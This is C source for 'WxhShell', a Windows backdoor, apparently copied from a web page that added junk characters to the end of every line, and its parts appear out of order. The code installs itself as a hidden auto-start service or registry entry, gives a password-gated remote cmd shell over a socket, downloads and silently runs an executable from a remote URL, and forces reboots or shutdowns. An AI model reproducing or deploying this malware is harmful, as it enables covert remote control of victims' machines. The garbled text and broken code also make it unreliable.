    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |@u2/U9  
    if(Boot(SHUTDOWN)) O~*i_t*i9{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); miaH,hm  
    else { \Nt 5TG_  
    closesocket(wsh); K9#kdo1 2  
    ExitThread(0); Nn[*ox#i  
    } Gk*u^J(  
    break; N l@G\_  
    } KMj\A d  
  // 获取shell }#FV{C]  
  case 's': { wuH*a3(  
    CmdShell(wsh); +Ww] %`_  
    closesocket(wsh); MW 7~=T  
    ExitThread(0); * @4@eQF  
    break; 9fEe={ B+  
  } 'Gn>~m  
  // 退出 T]De{nHu  
  case 'x': { [7I bT:ph  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [f_^B U&  
    CloseIt(wsh); O`~#X w  
    break; OJcS%-~  
    } /aI@2]|~  
  // 离开 yjjq&Cn  
  case 'q': { +>#SNZ[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2T&MVl!%  
    closesocket(wsh); PY5&Fwjc  
    WSACleanup(); uCDe>Q4@/  
    exit(1); |#2WN-  
    break; { LvD\4h"  
        } N:<$]x>  
  } '5BD%#[  
  } W~ ~'  
i<"lXu  
  // 提示信息 1,wcf,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ddfGR/1X  
} @ b!]Jw  
  } .yj@hpJM  
4/b.;$  
  return; ,W}:vdC  
} B>fZH \Y  
y0d=  
// shell模块句柄 eA4D.7HDK  
int CmdShell(SOCKET sock) efXnF*Z  
{ j;3I`:  
STARTUPINFO si; )q=F_:$  
ZeroMemory(&si,sizeof(si)); _eKO:Y[e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m.K cTM%j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9r?Z'~,Za  
PROCESS_INFORMATION ProcessInfo; 'dKfXYY1`N  
char cmdline[]="cmd"; qdix@ @  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Te-p0x?G.  
  return 0; n5$#M  
} 4H#-2LV`  
x(Bt[=,K3  
// 自身启动模式 62sl6WWS3  
int StartFromService(void) PQ 4mNjXN  
{ RsZj  
typedef struct sUG!dwqqd  
{ 3(WijtH  
  DWORD ExitStatus; Hh% !4_AMw  
  DWORD PebBaseAddress; /pj[c;aO  
  DWORD AffinityMask; J~2SGXH)^?  
  DWORD BasePriority; 9hA`I tS  
  ULONG UniqueProcessId; hp~q!Q1=  
  ULONG InheritedFromUniqueProcessId; cU6*y!}9  
}   PROCESS_BASIC_INFORMATION; B]X8KzLu  
"#~>q(4^  
PROCNTQSIP NtQueryInformationProcess; w5%Yi {  
t8*Jdd^3Z/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; UGO#o`.G}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8gS7$ EH'  
>of34C"DI  
  HANDLE             hProcess; zgwez$  
  PROCESS_BASIC_INFORMATION pbi; $:~;U xh=  
\l59/ZFan  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uN`/&_$c  
  if(NULL == hInst ) return 0; &*v\t\]  
&en. m>9,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O&l4/RtQ\)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); TDH^x1P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O%EA ,5U.  
["3dr@T9Z  
  if (!NtQueryInformationProcess) return 0; &&&-P\3  
4,)9@-|0R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u9!  ?  
  if(!hProcess) return 0; ]DVr-f ~  
\qG ?'Iy  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; b}K,wAx  
pl]|yIZ  
  CloseHandle(hProcess); KqFI2@v   
i=gZ8Q=H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); , #)d  
if(hProcess==NULL) return 0; Lk(ESV;r  
8c9HJ9vk  
HMODULE hMod; ~+Gh{,f  
char procName[255]; WE) *~5  
unsigned long cbNeeded; :F:1(FDP  
/s4~Ij`be  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 27SHj9I  
hN3FH# YO  
  CloseHandle(hProcess); r)^sHpK:`  
: B^"V\WE  
if(strstr(procName,"services")) return 1; // 以服务启动 |&#N&t  
q94;x|63  
  return 0; // 注册表启动 ;%e)t[5  
} 4LTm&+(5  
%,T*[d&i  
// 主模块 ;iKLf~a a  
int StartWxhshell(LPSTR lpCmdLine) p{w-  
{ Tdi^P}i_  
  SOCKET wsl; =~;~hZj  
BOOL val=TRUE; .a@12J(I  
  int port=0; V%8(zt  
  struct sockaddr_in door; mUg :<.^  
^%7(  
  if(wscfg.ws_autoins) Install(); ]rv\sD`[  
! 6(3Y  
port=atoi(lpCmdLine); qZd*'ki<  
`Z;Z^c  
if(port<=0) port=wscfg.ws_port; '[ #y|  
u9"=t  
  WSADATA data; 7P<VtS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h&'|^;FM  
l'"nU6B&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >Z!!`0{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P73GH  
  door.sin_family = AF_INET; qX@e+&4P0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 99=~vNn  
  door.sin_port = htons(port); 7"(Zpu  
`>sOOA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D{+@ ,C7B  
closesocket(wsl); a3yNd  
return 1; 1/97_:M0~F  
} <st<oR'  
Jpapl%7v  
  if(listen(wsl,2) == INVALID_SOCKET) { oP,*H6)i  
closesocket(wsl); n6oOk nCna  
return 1; PBn7{( x  
} +pR,BjY  
  Wxhshell(wsl); x9 > ho  
  WSACleanup(); GB$`b'x@S  
 t;o\"H  
return 0; F'K >@y  
cr!8Tp;2A  
} P*&[9 )d6  
'FXM7D   
// 以NT服务方式启动 jYVs\h6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H7+"BWc  
{ nqy*>X`  
DWORD   status = 0; /WnCAdDgZ  
  DWORD   specificError = 0xfffffff; 3'z$@ ;Ev+  
7ui<2(W@0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7fR5V  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l2LQV]l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E+/Nicn=  
  serviceStatus.dwWin32ExitCode     = 0; tc'iKJ5)  
  serviceStatus.dwServiceSpecificExitCode = 0; :H&Q!\a  
  serviceStatus.dwCheckPoint       = 0; uz!8=,DFw  
  serviceStatus.dwWaitHint       = 0; ({E,}x  
u !BU^@P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rCw 4a?YS  
  if (hServiceStatusHandle==0) return; 6BV 6<PHJ  
g4Z Uh@b~  
status = GetLastError(); G J%^hr`P  
  if (status!=NO_ERROR) ZO%^r%~s  
{ 1K9.3n   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; IH`Q=Pj  
    serviceStatus.dwCheckPoint       = 0; FDl/7P`b(  
    serviceStatus.dwWaitHint       = 0; C'I&<  
    serviceStatus.dwWin32ExitCode     = status; 4!/QB6  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?,$:~O* w  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); d~<$J9%  
    return; ;KQU% k$  
  } ":/c|!  
C98F?uo%Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?g ,s<{  
  serviceStatus.dwCheckPoint       = 0; !gkr?yhE  
  serviceStatus.dwWaitHint       = 0; T ~xVHk1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (u 7Lh>6%  
} 6y^ zC?  
\Eh5g/,[  
// 处理NT服务事件,比如:启动、停止 Zv %>m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~<_#%R!  
{ {"'M2w:|D1  
switch(fdwControl) c[-N A  
{ 0cmd +`  
case SERVICE_CONTROL_STOP: /l7 %x.  
  serviceStatus.dwWin32ExitCode = 0; 4#(/{6J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; OL\-SQ&  
  serviceStatus.dwCheckPoint   = 0; I2/am8!u%  
  serviceStatus.dwWaitHint     = 0; $[X][[  
  { I7U/={[J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3 P0z$jh"H  
  } \ aJ>?   
  return; Osqk#Oh  
case SERVICE_CONTROL_PAUSE: lj]M 1zEz&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v`oilsrc  
  break; bD,21,*z  
case SERVICE_CONTROL_CONTINUE: v\w*VCjoV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; e`0C0GaP  
  break; XNa{_3v  
case SERVICE_CONTROL_INTERROGATE: z- q.8~Z  
  break; |cC3L09  
}; o+|>D&CW%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {qw'gJmX  
} /kGWd9ujF  
Hdyl]q-(P  
// 标准应用程序主函数 ;> 7~@ K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) HB )+.e  
{ ~m fG Yk"  
Q9cSrU[$  
// 获取操作系统版本 ,[ 2N3iH  
OsIsNt=GetOsVer(); 7FH-l(W  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M %,\2!$  
q;9X8 _  
  // 从命令行安装 p.:|Z-W$  
  if(strpbrk(lpCmdLine,"iI")) Install(); RZxh"lIo  
a?W5~?\9  
  // 下载执行文件 eztK`_n  
if(wscfg.ws_downexe) { QuS=^,]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9po=[{Bp  
  WinExec(wscfg.ws_filenam,SW_HIDE); {e&fBX6;  
} B9"d7E#wHF  
Sv#MlS>  
if(!OsIsNt) { N-l`U(Z~P  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;y-JR$M  
HideProc(); J0Yb_(w  
StartWxhshell(lpCmdLine); #btz94/~O  
} /5E0'y,|P  
else ;I5P<7VW  
  if(StartFromService()) -+){;,  
  // 以服务方式启动 {EZR}N  
  StartServiceCtrlDispatcher(DispatchTable); +\+j/sa  
else NzZ(N z5  
  // 普通方式启动 CY?J$sN  
  StartWxhshell(lpCmdLine); EC\@$Fg  
$x }R2  
return 0; :'r* 5EX  
} |gV~U~A]  
3\Amj}RJ  
;*rGZ?%*  
5%D`y|  
=========================================== yPmo1|'X>d  
3F, M{'q  
Ju>QQOxi|  
dkg`T#}  
1a9' *[  
[`tOhL  
" RV@B[:  
:#vA5kC  
#include <stdio.h> 1o5kP,)  
#include <string.h> 0VvY(j:hp  
#include <windows.h> PoZ$3V$(Lz  
#include <winsock2.h> fKEDe>B5  
#include <winsvc.h> %(s|  
#include <urlmon.h> =X(N+(1~  
'sAkrl8kt  
#pragma comment (lib, "Ws2_32.lib") yuC"V'  
#pragma comment (lib, "urlmon.lib") `/1rZ#  
Q:) 4  
#define MAX_USER   100 // 最大客户端连接数 QH><! sa  
#define BUF_SOCK   200 // sock buffer VP< zOk7  
#define KEY_BUFF   255 // 输入 buffer 6MOwn*%5k  
2L^/\!V#  
#define REBOOT     0   // 重启 e3n^$'/\r  
#define SHUTDOWN   1   // 关机 &LM@xt4"^[  
VXCB.C"  
#define DEF_PORT   5000 // 监听端口 53/$8=  
0qR#o/~I  
#define REG_LEN     16   // 注册表键长度 W+u@UJi  
#define SVC_LEN     80   // NT服务名长度 +;!^aNJ,  
eAO@B  
// 从dll定义API s]yZ<uA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C=;}7g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w*'DlP<7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zx)}XOYf  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <O) if^  
L]=mQo  
// wxhshell配置信息 s j-oaWt  
struct WSCFG { =WN8> <K!  
  int ws_port;         // 监听端口 $o9^b Z  
  char ws_passstr[REG_LEN]; // 口令 :hO B  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1V5N)ty  
  char ws_regname[REG_LEN]; // 注册表键名 [*K9V/  
  char ws_svcname[REG_LEN]; // 服务名 jB -A d8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 D7R;IA-w  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 % A 5s?J?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L?N: 4/0;!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <> HI(6\@Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j}lne^ h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7.{+8#~nV  
zKk=R6w  
}; 6k')12~'  
eOVln1a  
// default Wxhshell configuration k FRVW+  
struct WSCFG wscfg={DEF_PORT, ci%$So 2#  
    "xuhuanlingzhe", WjVm{7?{  
    1, Q_/UC#I8  
    "Wxhshell", Oc~<`C~  
    "Wxhshell", ,X| >d  
            "WxhShell Service", kFQo[O]  
    "Wrsky Windows CmdShell Service",  ]x1ba_  
    "Please Input Your Password: ", K\}qY dPF  
  1, C^JtJv  
  "http://www.wrsky.com/wxhshell.exe", U0|wC,7"  
  "Wxhshell.exe" <_8eOL<X  
    }; 1Xcj=I- 4  
Mj0jpP<uf  
// 消息定义模块 ?/3{gOgI$`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; </9c=GoJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; BDL[C<d(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B*`[8kb,  
char *msg_ws_ext="\n\rExit."; DbI)tDi5D  
char *msg_ws_end="\n\rQuit."; "@+Z1k-8U  
char *msg_ws_boot="\n\rReboot..."; CC6]AM(i  
char *msg_ws_poff="\n\rShutdown..."; 3kr. 'O  
char *msg_ws_down="\n\rSave to "; UM1h[#?&V)  
d|tNn@jN  
char *msg_ws_err="\n\rErr!"; z\k 6."e_&  
char *msg_ws_ok="\n\rOK!"; Hm 0;[i  
K_j*9@  
char ExeFile[MAX_PATH]; L.9@rwfI  
int nUser = 0; \V j7%ph  
HANDLE handles[MAX_USER]; nKwOSGPQt  
int OsIsNt; ?MRT  
rJ4A9d3:  
SERVICE_STATUS       serviceStatus; EwfL.z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w$qdV,s 7  
u~t%GIg  
// 函数声明 [*vR&4mk  
int Install(void); |Ntretz`\  
int Uninstall(void); !':y8(Ou  
int DownloadFile(char *sURL, SOCKET wsh); P`CQ)o  
int Boot(int flag); ]<iD'=a  
void HideProc(void); wVv@   
int GetOsVer(void); *[3tGiUJ  
int Wxhshell(SOCKET wsl); fn//j7 j  
void TalkWithClient(void *cs); F{&0(6^p!  
int CmdShell(SOCKET sock); x;&iLQZh  
int StartFromService(void); ]o9^?iU]  
int StartWxhshell(LPSTR lpCmdLine); ;k1VY Ie}  
#%CB`l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <7%#RJwe  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Zh:@A Fz:R  
W1}d6Sbg  
// 数据结构和表定义 #FGj)pu  
SERVICE_TABLE_ENTRY DispatchTable[] = MR":a T  
{ [r1\FF@v,  
{wscfg.ws_svcname, NTServiceMain}, 30cb+)h(  
{NULL, NULL} "f!H[F1~  
}; zM%2h:*+{  
E zU=q E  
// 自我安装 r*Z p-}  
int Install(void) pr \OjpvD  
{ 78'3&,+si  
  char svExeFile[MAX_PATH]; @oRo6Y<-  
  HKEY key; f2P2wt.$  
  strcpy(svExeFile,ExeFile); n~yhX%=_Du  
4n\O6$&.x  
// 如果是win9x系统,修改注册表设为自启动 cS|W&IH1  
if(!OsIsNt) { eeUEqM$7EX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :N=S nyz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I!p[:.t7  
  RegCloseKey(key); U7xQ 5lph  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { - [vH4~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F`f8q\Fc  
  RegCloseKey(key); rV/! VJ6x  
  return 0; %\ !3tN  
    } 4:s!mHcz  
  } IDt7KJ@hc  
} @ ojV8  
else { &~N@M!`Dn  
kSqMI'89  
// 如果是NT以上系统,安装为系统服务 UTxqqcqEny  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )O6_9f_  
if (schSCManager!=0) eBl B0P  
{ LyT[  
  SC_HANDLE schService = CreateService Z-'xJq  
  ( WD'[|s\  
  schSCManager, m@c\<-P  
  wscfg.ws_svcname, lDtl6r/  
  wscfg.ws_svcdisp, Ix+\oq,O  
  SERVICE_ALL_ACCESS, >f~y2YAr  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c ^+{YH;k  
  SERVICE_AUTO_START, }C{wGK+o[  
  SERVICE_ERROR_NORMAL, |("zW7g  
  svExeFile, :8Ql (I  
  NULL, I#:4H2H6  
  NULL, -*0U&]T  
  NULL, `< cn  
  NULL, iFB {a?BE  
  NULL iy,jq5uw  
  ); j !rQa^   
  if (schService!=0) ":Ll. =!  
  { kKNrCv@64d  
  CloseServiceHandle(schService); 6tT*b@/_o  
  CloseServiceHandle(schSCManager); y[~w2a&+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l%xjCuuhU  
  strcat(svExeFile,wscfg.ws_svcname); gY!#=?/S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,gbQqoLV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q\GSX RP  
  RegCloseKey(key); H.s:a#l?  
  return 0; W"H*Ad(V  
    } ,mvU`>Ry  
  } s% (|z  
  CloseServiceHandle(schSCManager); N:e5=;6s  
} 5| bc*iqU  
} Q$=X ?{  
H1kxY]_/  
return 1; {-e|x&-  
} 3q$"`w  
]=T-C v=t  
// 自我卸载 !I[|\ 4j  
int Uninstall(void) &-M}:'  
{ UN Kr FYl  
  HKEY key; A@#D_[~  
nG !6[^D  
if(!OsIsNt) { }SBpc{ch  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^@n?&  
  RegDeleteValue(key,wscfg.ws_regname); LHgEb9\Q  
  RegCloseKey(key); nv2p&-e+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  Y.v. EZ  
  RegDeleteValue(key,wscfg.ws_regname); xa|/P#q  
  RegCloseKey(key); ?LA` v_  
  return 0; jun$C Y4  
  } +OX:T) 4h6  
} z!:%Hbh=  
} L{AfrgN  
else { _';oT*#  
Zdll}nO"E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -_"6jU  
if (schSCManager!=0) :]k`;;vh  
{ gKWsmx!["  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :PF6xL&  
  if (schService!=0) OykYXFv*  
  { 3=xN)j#B  
  if(DeleteService(schService)!=0) { >]S-a-|Bp  
  CloseServiceHandle(schService); ,5HC &@  
  CloseServiceHandle(schSCManager); 1wM~),B8  
  return 0; E)utrO R  
  } ;-!j,V+$h  
  CloseServiceHandle(schService); I<^&~==  
  } %cFqD &6  
  CloseServiceHandle(schSCManager); O7D61~G]  
} ;dE'# Kb  
} gj-MkeI)  
"YePd * W  
return 1; 4-veO3&.h  
} 3"y,Ut KGa  
Ht=h9}x"g  
// 从指定url下载文件 }D\i1/Y  
int DownloadFile(char *sURL, SOCKET wsh) `hE@S |4  
{ W"*~1$vf  
  HRESULT hr; ,"EgYd8-'  
char seps[]= "/"; 86 <[!ZM  
char *token; -"MB(`  
char *file; }0z]sYI  
char myURL[MAX_PATH]; t }q \.  
char myFILE[MAX_PATH]; kKEs >a  
s2ixiv=  
strcpy(myURL,sURL); c&a.<e3mL  
  token=strtok(myURL,seps); TIre,s)_  
  while(token!=NULL) 2u?k;"]V  
  { f15f)P  
    file=token; |w w@V<'/#  
  token=strtok(NULL,seps); 1a>TJdoa  
  } Q% LQP!Kg  
UUaC@Rs2  
GetCurrentDirectory(MAX_PATH,myFILE); y=spD^tM8  
strcat(myFILE, "\\"); 1^_V8dm)  
strcat(myFILE, file); yV/A%y-P  
  send(wsh,myFILE,strlen(myFILE),0); # 8fq6z|JZ  
send(wsh,"...",3,0); [/IN820t  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); MclW!CmJ  
  if(hr==S_OK) rwSmdJ~  
return 0; h k.Zn.6A'  
else |;k@Zlvc  
return 1; oZSPdk  
a1yGgT a?D  
} }10ZPaHjl+  
0$A7"^]  
// 系统电源模块 %RX}sS  
int Boot(int flag) ?'I pR  
{ n+9rx]W,  
  HANDLE hToken; -K*&I!  
  TOKEN_PRIVILEGES tkp; *N!>c&8  
?3|jB?:k  
  if(OsIsNt) { I` +%ab  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X[r\ Qa  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); '|^<|S_+K  
    tkp.PrivilegeCount = 1; nht?58  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2~(\d\k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E[2>je  
if(flag==REBOOT) { 5w$\x+no  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0` \!O(jJ  
  return 0; dAkJ5\=*  
} 052e zh_  
else { 7IUu] Fi  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dD.;P=AP  
  return 0; "Q <  
} E\lel4ai  
  } b]cnTR2E  
  else { nOj0"c  
if(flag==REBOOT) { # )]L3H<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) YR/%0^M'0  
  return 0; 6h%_\I.Z[[  
} /_.1f|{B  
else { Bq4^nDK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g886RhCe  
  return 0; I("lGY  
} g ;To}0H  
} j'M=+  
(>a8h~Na  
return 1; !bg2(2z  
} |fhYft  
}{S f*  
// win9x进程隐藏模块 yirQ  
void HideProc(void) 9w:9XziT  
{ bj$VYS"kY  
1Q>D^yPI[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y `ySNC  
  if ( hKernel != NULL ) E@%9u#  
  { Tw+V$:$$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nXFPoR)T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (`me}8  
    FreeLibrary(hKernel); xq-TT2}<L  
  } pf[m"t6G~  
S&Szc0-|k  
return; Bt[Wh@  
} lJIcU RI4  
!Pf6UNN'  
// 获取操作系统版本 `y0u(m5  
int GetOsVer(void) z8-dntkf  
{ 7wB*@a-  
  OSVERSIONINFO winfo; H{CiN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); aRE%(-5  
  GetVersionEx(&winfo); <7 R+p;y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ayK?\srw  
  return 1; q\]"}M 8  
  else vn(ji=  
  return 0; }Md5a%s<  
} %]1.)j  
vtu!* 7m  
// 客户端句柄模块 Y6w7sr_R  
int Wxhshell(SOCKET wsl) Wv7hY"  
{ iPeW;=-2Wk  
  SOCKET wsh; [8v>jQ)  
  struct sockaddr_in client; Um2RLM%  
  DWORD myID; _6!@>`u~  
&$L6*+`h#  
  while(nUser<MAX_USER) N3$%!\~O  
{ poU1Q#+4p*  
  int nSize=sizeof(client); V''?kVJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DqN<bu2  
  if(wsh==INVALID_SOCKET) return 1; @/f'i9?oM`  
`%ulorS  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f@7HVv&  
if(handles[nUser]==0) J_`a}ox  
  closesocket(wsh); aPR XK1  
else %|AXVv7IN>  
  nUser++; VV$4NV&`Q  
  } EV.F/W h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zz* *HwRt  
[ @ASAhV^+  
  return 0; &w'1  
}  e gdbv  
*VV#o/Q p  
// 关闭 socket Ouos f1  
void CloseIt(SOCKET wsh) #ni:Bwtl{  
{ G5,g$yNs  
closesocket(wsh); ?ytY8`PC  
nUser--; a>8&B  
ExitThread(0); 6QM$aLLP?  
} dng^#|X)?  
>i!y[F  
// 客户端请求句柄 v9"|VhZ  
void TalkWithClient(void *cs) k(ho?  
{ ?R":"*eu  
)\RG NJMC  
  SOCKET wsh=(SOCKET)cs; M'|?* aNK  
  char pwd[SVC_LEN]; !=bGU=^  
  char cmd[KEY_BUFF]; ;}KT 3Q<^  
char chr[1]; [MXyOE  
int i,j; 5hj _YqQ7  
;FnU[Q`M#L  
  while (nUser < MAX_USER) { C/#?S=w`4  
;6}> Shs  
if(wscfg.ws_passstr) { 1uco{JX<S  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *)D$w_06S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2|\WaH9P  
  //ZeroMemory(pwd,KEY_BUFF); O<()T6  
      i=0; \&\U&^?  
  while(i<SVC_LEN) { D5"Xjo*  
MN^d28^/  
  // 设置超时 m(KBg'kQ  
  fd_set FdRead; w\lc;4U   
  struct timeval TimeOut; \N[2-;[3  
  FD_ZERO(&FdRead); >J) 9&?  
  FD_SET(wsh,&FdRead); Uu[dx}y  
  TimeOut.tv_sec=8; \5P 5N]]  
  TimeOut.tv_usec=0; x T1MW  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X 4CiVV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j.kv!;Rj=  
nq qqP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k7kPeq  
  pwd=chr[0]; }uiD8b{I  
  if(chr[0]==0xd || chr[0]==0xa) { kca#ssN  
  pwd=0; /*e6('9s  
  break; ~?z u5,vb  
  } Aaug0X  
  i++; "h7Np/ m3  
    } ^H`4BWc  
p735i`8  
  // 如果是非法用户,关闭 socket $[0\Th  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Go)}%[@w  
} K1CgM1v  
w0PAtu  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R5N~%Dg)3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^Eif~v  
te;VGpv.  
while(1) { :_[pZ;-@  
y*e({fio_  
  ZeroMemory(cmd,KEY_BUFF); sL], @z8<k  
{RN-rF3w  
      // 自动支持客户端 telnet标准   I<qG{PA  
  j=0; 6 \}.l  
  while(j<KEY_BUFF) { s0m k<>z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); snP]&l+  
  cmd[j]=chr[0]; d+p^fBz  
  if(chr[0]==0xa || chr[0]==0xd) { :%<'('S |  
  cmd[j]=0; .^8rO ,H[  
  break; c)Ne/E{!0  
  } s\e b  
  j++; %?Q<  
    } 1EWskmp  
 6apK  
  // 下载文件 A [_T~+-G  
  if(strstr(cmd,"http://")) { xg;vQKS6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ui'*$W]v  
  if(DownloadFile(cmd,wsh)) ?OFfU  4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y^b}~t  
  else L cTTfb+<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); umN4|X  
  } ^t?vv;@}  
  else { !b?cY{  
K!(hj '0.  
